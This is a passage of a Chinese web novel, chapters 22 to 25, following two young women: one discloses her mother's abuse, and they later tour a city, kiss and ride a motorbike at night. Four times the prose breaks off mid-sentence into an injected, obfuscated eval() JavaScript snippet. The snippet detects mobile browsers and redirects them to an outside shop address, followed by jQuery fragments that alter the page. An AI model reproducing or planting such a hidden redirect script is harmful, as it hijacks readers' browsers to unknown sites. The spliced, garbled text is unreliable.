但秦离当她同意了,手指撩着她的袖口,轻轻地,一点点地往上探着。 手掌,手腕,手臂,手肘…… 她的皮肤因为长期不见阳光而有些苍白,但却充满了力量。 就要到更上面时,黎羽身体不安地动了动,突然开口,声音很干:“小乖,别看了,不好看的。” “没事的,我只是担心你,没事的。” “没事的……” 边说着,她边情不自禁在秦离的手臂上落下一吻,感受到她身体的颤抖,动作更加轻柔。 长袖被撩上去,秦离终于看见了照片上的那道伤口。 长条的青紫淤痕,微微肿胀,像是被棍棒样的东西打出来的,涂上的药水已经干了,看上去反而更加狰狞。 伤口远比照片上看着严重,秦离看着心疼,手上动作更轻了,不敢触碰,声音凶凶的:“这是谁干的?还痛吗……” 被看到伤口,黎羽反而淡定下来,将袖子撩下来,看似平静道:“我妈。” 秦离哽住,对于别人的亲密关系总是不知道如何开口。反而是黎羽安慰着拍了拍她:“没事,处理过,已经不痛了。” “怎么可能不痛啊,之前你都不说,我刚刚有没有碰到你的伤口?”秦离有些手足无措,见黎羽确实没什么反应,庆幸这伤或许只是看着吓人,犹豫着小声问道,“怎么回事啊?” “……”沉默,沉默之后,黎羽终于开口,“小乖,我可以抽支烟么?” “嗯。” 黎羽熟练地从绿色的烟盒里取出一支万宝路,打火机的声音,火光微亮,快速朝上蔓延,将一切变成灰烬。 她重新揽过秦离,将电视声音开得很大,目光落在了虚空处,神情在烟雾里沉浮。 所有的气息都被烟味覆盖,带着浓浓的燥意。秦离有些不习惯,动了动鼻子,忍住了没说。 一支烟的时间,所有情绪都被吞了进去。黎羽终于开口:“我这次回来,是因为我妈生病了。” 所以约会那天才变了脸色,那么急着赶回去吗? 秦离有心想问,但黎羽难得讲自己家里的事,她害怕打断后,黎羽又将所有话都埋在心里,于是默不作声,静静听着。 “我妈是个控制欲很强的人,她不能容忍我的任何决定越过她的规划。当初我去梦城读书,就和她大吵了一架。后来……她知道我喜欢女生,又闹得天翻地覆。她情绪激动起来就会动手,拎着什么打什么,砸什么。” 说话时,黎羽又架了支烟在食指和中指之间,但没有点燃,只是轻轻晃着。 秦离忍不住插话:“再怎么也不能打人啊。” “她一直都是这样,专制、强势,认为我是她生的、养的,就是她的所有物,什么都应该听她的……” “她说的不对!”秦离皱着眉反驳。她最讨厌的就是这样自以为是的大人,但碍于对方是黎羽的母亲,说不出什么过分的话。 黎羽笑了,但笑容很淡,就好像只是牵了牵嘴角,又没了弧度。 “我知道她说的是不对的。”黎羽说完这句话又沉默了,愣愣地有些出神,只有环住秦离的那只手又无意识捏着她一缕长发轻轻抚摸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370152|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,在指尖环绕着。 明明头发上没有神经末梢,秦离却觉得黎羽的每一次动作都带动她的身体反应。她不自在地动了动,带动黎羽回神,反而安慰她道:“没事的,我已经……习惯了。” 轻微的停顿,没有被听出来。 “怎么可能习惯。”秦离连靠都靠得小心翼翼,生怕给她带来一点伤害,“这次又是因为什么事?不是说生病了吗,怎么又打人呢。” 黎羽没有提到她的父亲。不管是出于什么原因,秦离有些猜测,索性当作没有这个人。 “就是因为生病了吧……” “什么?” 黎羽的这句话很轻,在嘈杂的电视声里,秦离没有听清楚。 “我是说,因为毕业的事,我的选择依旧不合她的心意。” “毕业?”想到黎羽马上大四了,秦离短暂产生了一点不安,“你毕业有什么打算啊?” “你知道的,我和朋友一起开了家公司,会在梦城继续发展。” 留在梦城啊…… 想到这里,秦离刚才产生的不安瞬间消失。 “这样很好呀。”她抿着嘴笑着,又有些别别扭扭的,“虽然你是因为那啥才到梦城来的,但梦城真的很好欸,又发达又自由。你妈是不是想你回来?那你千万别答应!一定要留在梦城。” “是吗……” 黎羽想到了什么,手上的动作也停了,本能摸向了打火机,但看着秦离喜滋滋的样子,最终还是没点烟,嘴里的那句话也没说出来。 “当然!”秦离觉得梦城什么都很好,呆着的每天都是快活的,不像回家简直无聊死了,还老是被管着。 “嗯。” 黎羽应着,秦离也觉得她应着了,心中欢喜,产生了一种拯救爱人的英雌情结。 她见黎羽似乎没有受太多影响,多少松了口气,又问道:“那她现在还在医院?” “没有,她去外地了。她……总是有很多生意的事要跑动。” 秦离彻底放心了,这样黎羽和她至少这几天都不会受到影响了。虽然她很讨厌这样的大人,也不想黎羽受到伤害,但除了躲开,也想不到什么办法。 “在她回来前,要不你早点回梦城?或者干脆和我一起回南城吧,反正我妈和我爸都不在……” “没事,就在这里吧,我还可以带你到处转转。” “也好哦。” 黎羽决定好,秦离便也不多提了。 想着黎羽刚才说的那些,想到她手臂上的伤,秦离心里还是很难受。她抓着黎羽的手臂,闷闷道:“所以你每次回家都过得这么痛苦吗?” 黎羽拍了拍她的头,声音很温和:“好了,怎么看上去比我还难过啊?你不是过来了吗,没事了啊。” “呜——我就想你好好的,一直开开心心的。” “开心的,你来了就开心。” “真的?” “真的。” “那我们明天去玩吧!我们去吃喝玩乐,不开心的事情统统扔进垃圾桶!” “好。” 黎羽看着秦离振奋的样子,好像自己也被她高昂的情绪感染。她脸上挂着淡淡的笑意,仿佛之前的阴霾只是一时的脆弱,都消失了。 23. Chapter 23 离天亮不过四个小时,两人睡到大中午才慢悠悠爬起来。 除了本省、首都和梦城,秦离基本没去过其它地方,看什么都新鲜。出门后,她抱着黎羽的手臂,期待地望着她:“我们今天怎么安排?” 她心中欢喜,是约会呀,这才是真正的约会! 其实黎羽没觉得柳城有什么好玩的,无非就是些山啊水啊,哪里都一样。她像个外地人样翻了翻攻略,说:“我先带你在市区转转?” “好呀。”秦离觉得哪里都好,和恋人在一起,连走过的普通街道,看过的普通楼房都觉得是有趣的。 两人准备去市中心的三江五湖区,那里是市区的风景集中点。 柳城是旅游城市,暑假游客很多,出租车很难打。太阳很大,两人在路边等了会,额头和鼻尖已经冒了许多汗。 “好晒啊……”秦离用手挡着刺眼的阳光。她怕热得很,穿着牛仔短裤和吊带,裸露着大片白皙的皮肤。 黎羽依旧是长袖长裤,戴着顶米色的鸭舌帽。她将帽子扣在了秦离头上:“戴着,要打伞吗?” 秦离摇头,她不喜欢打伞,太阳天雨天都不喜欢。她乖乖戴上帽子,即使热,也和黎羽挨得很紧。 黎羽已经习惯了这种热度,但不习惯在外面表现得很亲密,没有牵手。 “等我下。”她跑到了十字路口,终于在其她人之前抢到辆出租。 两人上车,在清凉的空调里总算松了口气。 到目的地了。三江五湖区的人更多,烈日下,大家都很疲累,也很兴奋。 “哇——阿羽,你看这座山好小。”秦离冲得很快,倚着江边的栏杆,指着水边一座才两百米的山。 秦离本省的山尽是连绵不断的山脉,群山耸立,动不动就是几千米海拔。梦城虽然有座九十九米即为巅峰的小山,她也没去过,所以这是她第一次看到这么Q这么小的山。 “你小心点。”黎羽见她大半个身体都倚在晃晃悠悠的栏杆上,不放心地过去拉住她。 “走,我们上去看看。” 登山是最让人快乐的事了,即使是一座小山。秦离抓着黎羽的手,朝入口处奔去。 黎羽身体僵了僵,习惯性想压帽子,但帽子早给了秦离。她注意到周围人的目光,即使知道她们不是特意看过来,也有些紧张,想将手收回来。但秦离抓得很紧,四周人也很多很挤,害怕走散,她最终还是放弃了,任由秦离抓着。 两人的手牵着,逐渐,十指交缠。 “天啊,暑假这人也太多了吧。”秦离望着入口处排着的长队咂舌。 “那还爬吗?” “爬!来都来了。” 她们可是穿越了人群和水上长桥才终于过来的。 “好。”黎羽看着秦离张扬的眉目,嘴角噙着笑。 人流量太大导致爬山进度缓慢,但两人不在意这些。 秦离总是有很多话,对什么都很兴致勃勃。山岩内的洞、岩壁下撑着的树枝、石头上开着的小花、水面飞过的鸟,她对什么都要指着跟黎羽说过,好奇着。 大部分时候黎羽都听着,时不时应上几句。 山顶很快便到了,大多数人都是到山顶的朝阳亭上歇一会拍拍照便又下去了。 秦离眼尖,看见旁边树枝掩盖着的石头缝隙间隐约还有能穿过的空当,跟黎羽小声道:“我们去那边看看。” 那边没有指示牌,黎羽不放心:“那边没有路,不安全。” “去看看嘛,说不定有不一样的风景呢,这边都是人,没意思啊。” 黎羽拗不过她,只得同意了。 趁人不注意,两人拨开树枝钻了进去,黎羽坚持走在前面。 那石缝很窄,只能供一人侧身勉强通过。穿过石缝再往上,脚下道路变宽,最后到达了一个小平台。这平台刚好被下面的大石头挡住,从下往上看发现不了。 边上有棵小树,枝叶歪歪斜斜纵横交错着,刚好在平台上落下供两人遮阳的阴影。 “当当当当当~阿羽,你看,”秦离张着手作介绍姿势,看着黎羽,表情得意,“秘密地点!刚好为我们量身打造的,我厉害吧~” 黎羽喜欢她洋洋得意的样子,笑道:“厉害,小乖很厉害。” 秦离眼睛笑得更弯了。她拉着黎羽坐在阴影下,江风里也带着暖意,却没有阳光直射的燥意,吹得人晕乎乎的。 这里的视野很独特。不知道是地形还是阳光的原因,江面刚好被分成了左右两块,一边墨绿,一边浅绿。远处探出来的陆地和小山都落在恰当的位置,被葱郁的树林和青草点缀着,像是完美构图的照片。远处还有两座纤细高挑的玲珑宝塔,遥相对望。 “那是什么塔?” “日月双塔。晚上江边和山上的的塔都会亮灯,应该还挺好看的,到时候我们坐船看。” “好哦^0^” 不知不觉,秦离已经靠在黎羽身上了,不自觉玩着她的手指,乐在其中。 黎羽就侧头这么看着她,由着她玩。阳光从枝缝中漏出,轻柔地撒在她的发上、脸上、身上,映得她仿佛带着柔光。 秦离看见了,只觉心中无限柔情。她脑里突然冒出个点子:“我们玩个游戏吧。” “什么游戏?” “你手摊开。” “嗯?” “哎呀,你听我的,摊着嘛。” 黎羽无奈,乖乖听她的,掌心朝上放在大腿上。 “这样呢,我数三,二,一,然后来戳你的手心”,秦离手指轻轻点了点黎羽的手心,“你要是抓住我,就是你赢。我跑掉了,就是我赢。” “嗯……”黎羽故作思考,感受着手心那点微痒的触感,看着秦离喊完的同时一点就跑。 由着对方来喊,这可不是个公平的比赛。 秦离眨眨眼,期待地看着她,眼睛里闪着亮光:“你就陪我玩一玩嘛。” 黎羽也眨眨眼,最终还是同意了。 秦离一副奸计得逞的表情,狡黠一笑:“既然是比赛,那赢家肯定得有奖励呀。” 黎羽算是知道她葫芦里卖的什么药了,但依旧顺着她:“那奖励是什么?” “奖励……”秦离眼珠灵动地转着,声音放轻了,“那奖励赢家要求输家回答一个问题或做一件事!事必须是现在当场就能兑现的。”也算是真心话大冒险 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370153|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 现在氛围正好,秦离的目光在黎羽的唇上滑过,心里有点蠢蠢欲动。她还没和人接过吻呢,不知道那是什么感觉,想试试又不知道怎么提出来。 过于大胆的视线暴露了她的想法,黎羽抿着笑,心中明白却装作不知,只应道:“好。” “好耶,那我来啦,三,二,一!” 第一局,秦离毫不意外赢了。她不想显得自己太性急,装模做样想了想道:“你对我的第一印象是什么?” “唔,第一印象啊……”黎羽似乎也想了想,故意逗她,“二次元的小妹妹,话很多,有点咋咋呼呼,很……” “欸……”秦离不满地锤了锤她,“怎么这样。” 黎羽笑了出来:“很有活力,很可爱很乖。” 秦离满意了,眉飞色舞:“哼,算你过关了。快来第二局。” 第二局,第三局,第四局…… 每局都是秦离赢了。她问了许多问题,慢慢胆子大起来,开始有些不安分的小动作。要很久的抱抱,要捏对方的脸,想摸她的腹肌…… 黎羽也都应了。 “那……下一局!” 草木香和果香混在一起,秦离的心跳开始加快。 这一局,就这一局提出来。 “三,二,一!啊……” 黎羽抓住秦离的食指摇了摇:“逮住你了哦。” 秦离失落地扁扁嘴:“好吧,这次算你厉害,那你说吧,让我做什么?” “你把眼睛闭上。” !! 难道…… 秦离心脏漏了一拍,微微仰头,闭着眼,勾着嘴角,满是期待。 有热源靠近了,秦离的心越跳越快,然后突然感觉额头一痛。她睁开眼,捂着额头,发现是黎羽用手指弹了弹她的额头。 面对她控诉的眼神,黎羽的笑容有些坏,故意问道:“怎么了?” “哼,坏人!”秦离别过脸不看她。 “那不玩了?” “玩!” 游戏继续。但黎羽好像抓住了游戏的窍门,接下来好几把都将秦离抓个正着,每次还故意拎起来晃了晃,气得秦离哇哇叫。胜负欲上来,一开始旖旎的念头早就抛到九霄云外了。 黎羽就喜欢逗她,让她学各种小动物叫,什么小猪哼哼,兔子叽叽,不知道的还以为到了动物园呢。 “你真是太坏了,恶趣味!” 秦离控诉她,黎羽摊了摊手,表情无辜。 老赢不了,秦离兴致也下来了,有点蔫蔫道:“最后一局。” “好。”黎羽不逗她了,有心想让她赢一把,动得比较慢。但这时候,远处飞来不知什么鸟突然怪叫声,吓得秦离身体一抖,反应也慢了半拍,手指没动,还是被黎羽抓住了。 “……” “……” 秦离彻底蔫了,自暴自弃道:“好啦,还是我输了,说吧,这次又要学什么动物?” 黎羽也没想到,脑里念头闪得很快,丹凤眼微眯道:“你闭上眼。” “又是弹额头啊,没意思。”说着,秦离还是乖乖闭上眼,身体有些紧绷,等待额头上的那一下。 24. Chapter 24 秦离的睫毛微颤,为即将到来的那一下疼痛而紧张着。她感觉到黎羽凑近了,然后是…… 温热而柔软的触感,轻轻贴在她的额头上,正是一开始被弹痛的地方,是…… 黎羽的唇。 “阿羽……” 秦离的声音很小很乖,像小动物的呜咽。她的心脏怦怦直跳,眼睛不安分地动着,想要睁开。 “闭着眼。” 黎羽的声音像山林间清凉的溪水,在秦离燥热的心上缓缓流淌着。感受到那触感离开,秦离身体忍不住朝前追了过去。 “别心急。” 黎羽的手按在秦离肩上,制止了她的动作。于是秦离只能等待着,手将黎羽的上衣下摆抓得很紧,期待着。她看不见黎羽的眼神,温柔而深邃,没有隐藏的感情全部溢了出来,落在秦离脸上,化作更轻柔的风。 秦离不安地期待着,直到黎羽再一次靠近,这次的吻落在眉间,化解了她所有的焦急。她的手指落在了黎羽的腰上,引得对方也一下微颤。 “别动。”黎羽的声音也抖了下,嘴唇离开,耳根红了一点点。 秦离只觉一点瘙痒从黎羽亲过的位置滋生,然后慢慢往身体的各处蔓延。她强忍住这股痒意,委屈道:“你别欺负我了。” 黎羽笑了,快速在她鼻尖亲了下:“不欺负你,乖一点,给你奖励。” “好……好哦。” 好像猜到了什么,秦离的心跳得更快了。她的身体发软,但头还是微微仰着,神情带着期待。 黎羽右手轻轻捧着秦离的脸颊,再次靠近。 时间好像被拉得像细线那样长。秦离能听到风吹的声音,鸟儿飞过,下方是嘈杂却又隔了一层样若有似无的人群喧闹,空气中是淡淡的青草味。 草木香越来越浓,盖过了所有味道,所有声音,终于,那片干燥又温热的唇,轻轻贴在她的唇上。 秦离的身体颤得更厉害了。她觉得全身的热意都朝着嘴唇涌去,天旋地转,被黑暗隔离的世间万物都失去了形状,变成了混沌流动的线条。她忍不住动了动唇,这时黎羽却已经离开了。 “好了,睁眼吧。” 秦离迫不及待睁眼,脸颊因为激动而泛红。 黎羽依旧是平时那副模样,带着笑意看着她,唇……唇因说话而微微动着,能看见里面一点点洁白的齿和粉色的舌头。 秦离不说话,只是直直盯着她,眼底带着点不满足的贪婪。 黎羽拍了拍她的头:“我们下山吧。” “……不够。” “嗯?” “不够,还想要。” 秦离主动凑了过去,闭着眼莽撞着再次撞上黎羽的唇,带着一点点痛意,但终于又触碰到那处柔软。 黎羽有些吃惊,但放松下来接受了,任她亲着,也闭上了眼。 阳光依旧是那般肆意,却小心避开了这块独属于两人的空间。只有头顶的树枝随风轻轻晃动着,有一两片绿叶飘下,带着夏日的暖意。 不知什么时候,两人的身体已经贴在了一起。黎羽单手环着秦离的腰,像是抱着一块软玉般柔和。秦离的手挂在了她的脖子上,强势地不让她离开。 黎羽也没想过离开。 这次,秦离成了主动的一方。 她不满足于只是唇贴着唇,本能张嘴,微微吮吸着。简单的动作却让她无比着迷,像是小孩抓住最心爱的玩具,乐此不疲地玩着。 最后,还是黎羽往后退了退,迎着秦离因被迫中断而小幽怨的眼神。 “我们总不能一直在这里亲下去吧。” “也不是不可以。”秦离小声嘀咕着。 “小乖。” “……我知道啦。”秦离并不想动,但也不想打乱黎羽的计划。 看着黎羽的唇被吮得微红,比平日里的颜色深了下,秦离总算是满意了,又快速在她嘴上啵了下,站起来道:“走走走,我们下去。” 被成功偷袭,黎羽无奈,顺着秦离的力被拉起来,一起下山。 三江五湖区旁还有古代某朝藩王的王府,两人牵着手,顺着人流走马观花着。看了一圈,秦离也没多大印象,反倒是对大门外一长排的摆摊更感兴趣。 “我们去看看。” 这些都是全国批发的大众货,专门放在旅游区宰游客的。 黎羽心中明白,本也想这么说,但看着秦离兴致勃勃的样子,最终还是没说出口。 算了,她喜欢就好。 秦离确实不懂这些,也没人告诉她。她只是觉得摊位上手串、石头还有各种工艺品看着很有趣,只是几十一百来块钱的话也不算贵,买来玩玩呀。 黎羽便由着她挑挑选选了各种零碎的小东西,只是看见她要以五百块钱买下两串菩提手串时终于忍不住了,不听小贩在一旁唧唧歪歪,插话道:“这个值不了这么多钱。” “这样啊。”听黎羽大概说了,秦离这才后知后觉可能一路上都被人敲竹杠了,蔫了下来,“那我们走吧。”她嘴上这么说着,但余光还是瞥着小摊,显然很喜欢那两串菩提。 黎羽心里叹了口气,替她上前讲价,最终以一百块的价格拿下了。这还是小贩精明,看出了秦离确实喜欢,不肯再压价了。 黎羽讲价时与平时不同,多种话术轮番来,看得秦离目瞪口呆。见她拿下手串,秦离凑过去,眼睛亮晶晶的:“阿羽,你好厉害啊。” 被秦离这么夸着,本来觉得很正常的黎羽反而有点不好意思了。她将手串递了过去:“这没什么,你拿好吧。” 秦离却只拿了一串,喜滋滋给自己戴上,才忸怩道:“老板说这叫星月菩提,我刚刚看了一圈,觉得跟其他摊位上的星月菩提都不一样,很特别,所以才想买,想着……我们一人戴一串。” 秦离愣住,这才注意到手上的菩提看着确实有些特别,每颗上的黑点要大一些,菩提也要更圆润些,圆润得……不像是天然产物。她对菩提也有点了解,捻了捻,心中有些怀疑。 这……真的是菩提? 不过看着秦离期待的眼神,她最终还是把话咽了下去,默默将手串戴上。 看着两人手上一模一样的菩提,秦离笑眯了眼。趁走到墙边的阴影处,没人注意,她快速凑了过去,想要亲一下。 四周都是人群,黎羽本能躲避, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370154|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个吻最终落在了下巴上。 “在外面呢。” “没人看见的。” 秦离有些遗憾,但见黎羽实在抗拒,只能作罢。哎,如果黎羽不介意的话,她就是和她站在十字马路中间,在人山人海里接吻都没关系呢。 “走吧,吃饭去。”黎羽说着,也幸好她不知道秦离心中的念头。 柳城菜与南城菜多有相似,偏油偏咸,虽然辣味不够,但秦离的口味已经被梦城筛过一遍了,也吃得惯。 黎羽挑了家老字号的店,到了后才发现排队的人太多,但秦离不在意,说等就等吧。 等了快两个小时,才终于排上座。两个人点不了太多菜,黎羽选了烧鹅、螺蛳鸭脚煲、鲜虾荔枝球和素菜汤。 “试试,都是本地招牌菜。还有个啤酒鱼也是招牌,但朔城的更出名,之后带你去那里吃。” “好^0^” 两人饭量都不小,菜味道不错,就是整体口味带点甜。其他都还行,吃到鸭脚煲,秦离有点不习惯了。 倒不是说螺蛳的味道,而是这鸭脚…… 秦离吃过小半只,戳了戳黎羽:“阿羽,这鸭脚是不是没做好啊,脚掌的皮都没撕,连成一片了,味道好奇怪哦。” “这道菜是这样的,吃不惯吗?” “……嗯。” “那我再给你点道菜,这个我吃吧。” “……好哦。” 秦离看着黎羽又点了个牛腩,自己将剩下的鸭脚都吃掉了,心中有微微的甜意。 白天出门时,黎羽就已经提前买了票,两人登船。 船就一层,并不大,所有人都要呆在船舱内,只有到了固定景点才能去甲板上。舱内有小孩吵闹着,声音很刺耳,还有人或许注意到两人亲密的举止,目光频频扫了过来,不带明显的恶意,却让人烦躁。 窗外,河边岸上和山上的灯都亮着,五颜六色的霓虹灯,看着有些俗气。 秦离的兴致不太高,黎羽也有些懊恼:“我没有坐过游船,只是看网上评价说是必来的。” 不过仔细想想,网上必推的热门景点倒真不一定有什么好玩的,只不过是大家都会来打卡罢了。 “没事啦,”秦离只是被船晃得有点晕,加上旁边实在太吵。她将头埋在黎羽怀里,借着身体的遮掩亲了亲她的锁骨:“你在我身边就好。” 黎羽被她这一下弄得一惊,没好气地揉了揉她的头:“别乱来呀。” “嘻嘻。”秦离嬉皮笑脸,下次还敢。 游船的后半段,从湖水的低位升到高位,开始有点意思。众人不必呆在船舱里了,两人也跑到了甲板上。晚风带着点微腥的河水味,倒让人心情舒坦了许多。 前方是白天看到的双子塔,在夜晚一金一银,遥相对望,水影摇曳,小巧精致,比白天好看许多。 秦离趴在栏杆上,感叹道:“这不是挺好看嘛。” “嗯。”黎羽其实也是第一次在水上看见亮灯的双子塔,还有夜光下的秦离,眉目如画。 “很好看。” 突然,秦离扯了扯她的袖子,小声兴奋道:“阿羽,你快看那里。” 25. Chapter 25 秦离凑过来小声道:“你看前面那座山,像不像人面狮身像?” “嗯?” 黎羽望过来,金色宝塔对面是一座起伏的小山,靠河的部分有个小的凸起。 见黎羽没认出来,秦离抓着她站在自己的位置,手指描绘山体上的明暗和凹凸处。 “这是狮子的身体,这是它的爪子,你看那个小凸起,是它的头。它的眼睛眯着的,鼻子,嘴巴微张的,亮亮的不就是牙齿吗?” 随着秦离滑动的指尖,黎羽好像真的看见了那只长着人脸的狮子。 “确实像。” “是吧,”秦离为发现这个独特宝藏而得意,“我看都没人发现,要是我报给旅游局或者旅游博主,这里就是新的标志性旅游景点,开发出来,参观人数激增。哇,那到时候给我要分不少钱吧。” 黎羽顺着她的思路想:“到分钱那步,可能有点难。” “哈哈哈哈哈哈,”见黎羽真的认真考虑了,秦离笑得花枝乱颤,“我就随便说说,谁会理我呀。” 黎羽跟着无奈笑着,还抬手护着她,怕她摔到河里去。 夜风轻柔地吹着,两人下船时已经是晚上九点多了。 黎羽问道:“要回去了吗,还是再逛逛。” 秦离不想就这么回去了,盯着马路上一晃而过的摩托车,突然想起:“你那台机车呢?” 黎羽朋友圈的那台机车是跨坐式,比街上的踩踏式看起来潮多了,所以秦离选择了“机车”这个说法,说出来的瞬间又觉得自己好湾湾腔,说话好机车。 想着这个,她又自顾自笑起来了。 黎羽已经习惯了,知道她八成是脑子里又冒了些稀奇古怪的想法。 “那台车是我朋友的,我的拿去修了。” “这样啊。”秦离有些失落。 “但我可以借过来。^_^” “好耶^0^” 机车的主人是个身上打了很多环,外表有点社会的女孩。她看上去和黎羽挺熟,对着秦离打量了一番,问了句“这是你现在的女朋友”后,借了。 秦离有点不太喜欢她,但很喜欢这台机车。 这机车通体纯白,车身重,机械感很强,整体流线很漂亮,简直是梦中情车。秦离跃跃欲试,尝试着跨了上去,只有脚尖勉强能着地,很不稳当。 黎羽看她摇摇晃晃着,也不敢点火,架在车上拖着车挪动了两步,笑了。 “快下来吧,我载你去兜风。” “哼。” 秦离哼哼唧唧的,还是乖乖下来了。 黎羽将头盔递给她:“这是我平时备用的。” “好哦。”秦离本来嫌弃它黑色的有点土,一大块杵在头上又傻,知道是黎羽用过的后,欢喜戴上了。 头盔内只有一点自带的橡胶味,闻不到黎羽的味道,秦离有点失望。 黎羽也戴上同样黑色的头盔,上面有一点像猫耳的形状,轻松跨上机车。她的腿很长,被紧身的长裤包裹着,肌肉曲线同样很分明,因为身体微微前倾的缘故,衬出更加优美的流线。 “小乖,上车。”她握着手把,声音隔着头盔传出来带了点混响,有些低沉。 秦离的心脏很有存在感地在胸腔里跺了跺,带着身体产生酸软的感觉。 “阿羽,你好像那个,赛尔提①哦。” “那是什么?” “一部动画的主角啦,都市异闻,超酷的。” “0.0” 黎羽转过头来,秦离看不见她的表情,但觉得她的样子看起来有点呆,笑了。 她跨坐在后座上,脚蹬在合适的位置,高举左手打了个响指:“好啦,我们出发!” “轰——” 巨大的轰鸣声中,机车提速冲了出去。秦离赶紧抱住黎羽的腰,贴在她的后背上。 机车朝着城外驶去,黎羽挑了路好车少的道路,速度没有很快,很小心。 夜风呼啸着从两边向后刮去,将衣服吹得鼓起来,拉扯着皮肤有轻微的刺痛感。秦离的双手紧紧环在黎羽腰上,感受着热意隔着轻薄的布料传来,愈发滚烫。她将头轻轻靠在黎羽身上,并不宽广的后背此刻却是她全部的依靠。鼻尖依旧是淡淡的草木香,在浓烈又厚重的黑夜里愈发强烈,浸透了整个鼻腔,贪婪地占有她的全部嗅觉。 “阿羽——” “阿羽——” 风声和头盔的隔绝下,什么声音也听不清,只有靠得很近的两颗心扑通扑通跳着,同样的频率,一直跳着。 秦离喜欢这样的声音,喜欢这样的夜。 她侧着头,用骨传导的方式,好像全世界的声音都要通过黎羽的身体才会进到她的耳朵,专属的霸道。 街边庸俗的霓虹灯光拉成了各色长线,快速后退着,所有一切都被抛在身后。 只有她们两个人在向前,一直向前。 慢慢的,店铺灯光越来越少,除了高杆的昏黄路灯外,更多的是一片漆黑。她们出城了,向左,向右,向前,向上。 “我带你去看整个城市的夜景。” 黎羽喊得很大声,声音随着胸腔的震动,乘着风传到秦离的耳朵里。 “好。” 秦离也喊得很大声,声音清脆,像跳动的雀鸟。 车上了山,蜿蜒着,攀爬着,到了山顶。那里有个小的观景台,没有人,往下俯瞰便是整个城市,山山水水,高楼矮房。 “到了,就是这里。” 黎羽停车,摘下头盔。她逆着光,发梢因为闷着的水汽而湿润,脸上也稍稍泛红,看着有些性感。 秦离的心动了下,迎着光而去,扑进黎羽怀里,抬头送上自己的唇。 “怎么这么急……” 黎羽笑着接住她,未说完的话被另一张嘴堵住,尽数吞进肚里。 头盔落在了地上,四周是窸窸窣窣的虫鸣声,越闹越大。城市之上,万丈光芒之外,两人紧紧相拥,交换着彼此的体温,让唇与唇间的每条纹路都吻合着,轻轻摩挲着。 这简单的触碰让两个人都上瘾。 不知道亲了多久,秦离尤有些不满足。她本能微张着嘴,想要更加凶猛地攻城略地时,黎羽松开了。 秦离的眼里还带着进攻的贪欲,赤/裸/裸地表露出来。 黎羽安抚性地轻啄下她的唇,从地上捞起头盔,挂在车上:“好了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370155|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我们看夜景吧。” 见黎羽没有继续的意思,秦离遗憾地咬了咬唇:“好吧。” 平台靠边上做了一圈水泥护栏,高度到腰,下面是草地斜坡,不算太高。秦离探头看了看,随后撑着身体翻上去,坐在了护栏上。 “太危险了。”黎羽忙护着她,微微皱眉,不太赞同。 秦离腿落在外面悬空晃着。她拍了拍旁边的位置,期待地望向黎羽:“你也来嘛,这上面很宽,不会掉下去的啦。” 最终,黎羽拗不过她,也翻了上来,但一手揽着秦离,一手抓着平面,好像随时防止意外发生。 秦离将头靠在黎羽肩上,嘴里哼着小茉莉。 她的记性很好,昨晚听了两三遍,已经能够原样唱出来了,只是歌词记得不很清楚。 这座山很高,视线落下去,整个柳城都很小,像是孩童搭建的玩具城,一只手就可以抓住。她们好像超脱了凡尘,不用被世俗困扰,只有彼此,共享整个天外世界。 秦离喜欢这种感觉。 “阿羽。” “嗯?” “阿羽~” “嗯。” “我好喜欢你啊~” “……嗯。” 秦离撒娇般在黎羽怀里蹭来蹭去,眼睛在夜色里熠熠生辉,看向她的眼里充满期待。 她的眼里满满的都是自己,黎羽被她看得受不住了,亲了亲她的额头,手上轻抚着她的长发。 “小乖……” 黎羽的声音很轻柔,像是缓缓淌过的溪水。她没有说更多,秦离却已经十分满足了,窝在她怀里继续看着夜景。 时间静静流逝着,直到寂静的夜晚里突然出现了响亮的啪的一声。 秦离手心是拍死的一只蚊子,还带着血。 “被咬了?怎么不说呢。”黎羽这才注意到,秦离腿上被咬了好多红包,但她一直忍着没说。 